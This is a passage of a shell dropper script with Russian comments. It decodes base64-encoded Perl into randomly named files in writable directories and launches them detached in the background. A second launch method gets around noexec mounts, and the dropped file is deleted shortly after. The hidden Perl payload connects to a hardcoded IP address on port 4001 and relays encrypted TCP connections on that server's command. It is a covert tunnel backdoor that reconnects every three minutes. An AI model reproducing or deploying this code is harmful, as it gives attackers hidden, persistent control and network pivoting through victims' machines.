7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_9520054d() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwI